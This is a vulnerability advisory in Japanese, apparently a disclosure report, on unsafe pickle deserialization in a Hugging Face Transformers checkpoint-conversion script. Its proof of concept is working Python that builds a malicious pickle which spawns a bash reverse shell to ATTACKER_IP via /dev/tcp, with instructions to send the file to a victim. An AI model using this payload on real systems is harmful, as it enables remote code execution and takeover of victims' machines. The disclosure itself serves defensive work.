
脆弱性の概要と影響:
攻撃者は、悪意のある reformer trax チェックポイントファイルを、Hugging Face Transformers リポジトリ内の convert_reformer_trax_checkpoint_to_pytorch.py スクリプトに提供することで、ホストマシン上で任意のコードを実行できます。
無防備なユーザーがサードパーティの reformer trax チェックポイントファイルを使用し、convert_reformer_trax_checkpoint_to_pytorch.py スクリプトを実行すると、被害者のシステム上でリモートコード実行(RCE)が発生します。
脆弱な製品
根本原因分析
脆弱性の詳細な説明: この脆弱性は、信頼できないデータの安全でないデシリアライズに起因します。スクリプトは pickle.load を使用してチェックポイントファイルを読み込んでおり、コード実行に対して脆弱です。
入力から脆弱性条件に至るまでのコードフロー:
reformer trax モデルをダウンロードします。convert_reformer_trax_checkpoint_to_pytorch.py スクリプトを実行し、チェックポイントファイルを渡します。convert_reformer_trax_checkpoint_to_pytorch.py スクリプトがチェックポイントファイルをデシリアライズし、悪意のあるコードを実行します。インジェクションポイント: 脆弱性は pickle.load が呼び出される箇所で発生します。
GitHub パーマリンク:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192
推奨される修正方法: pickle.load を yaml.safe_load(yaml_file) または json.load に置き換え、任意のコード実行を防ぎます。
概念実証の実行手順:
exploit.py を実行して、被害者のシステム上でリバースシェルを生成する悪意のある pickle ファイル malicious.pkl を作成します:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("悪意のある pickle ファイルが正常に作成されました。")
注:ファイルを被害者に送信する前に、ATTACKER_IP と ATTACKER_PORT を変更してください。
config.json 設定ファイルを作成します:{
"attention_head_size": 64,
"attention_probs_dropout_prob": 0.1,
"attn_layers": [
"local",
"lsh",
"local",
"lsh",
"local",
"lsh"
],
"axial_norm_std": 1.0,
"axial_pos_embds": true,
"axial_pos_embds_dim": [
64,
960
],
"axial_pos_shape": [
64,
64
],
"chunk_size_lm_head": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"feed_forward_size": 512,
"hash_seed": null,
"hidden_act": "relu",
"hidden_dropout_prob": 0.1,
"hidden_size": 1024,
"initializer_range": 0.02,
"is_decoder": true,
"layer_norm_eps": 1e-12,
"local_attention_probs_dropout_prob": 0.05,
"local_attn_chunk_length": 64,
"local_num_chunks_after": 0,
"local_num_chunks_before": 1,
"lsh_attention_probs_dropout_prob": 0.0,
"lsh_attn_chunk_length": 64,
"lsh_num_chunks_after": 0,
"lsh_num_chunks_before": 1,
"max_position_embeddings": 4096,
"model_type": "reformer",
"num_attention_heads": 16,
"num_buckets": null,
"num_hashes": 1,
"num_hidden_layers": 6,
"pad_token_id": 0,
"tie_word_embeddings": false,
"transformers_version": "4.42.4",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
convert_reformer_trax_checkpoint_to_pytorch.py スクリプトを実行し、malicious.pkl ファイルを --trax_model_pkl_path に渡します:> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .
注:
pytorch_dump_folder_pathは任意のディレクトリに設定できます。
ソフトウェアダウンロードリンク:
https://github.com/huggingface/transformers/tree/main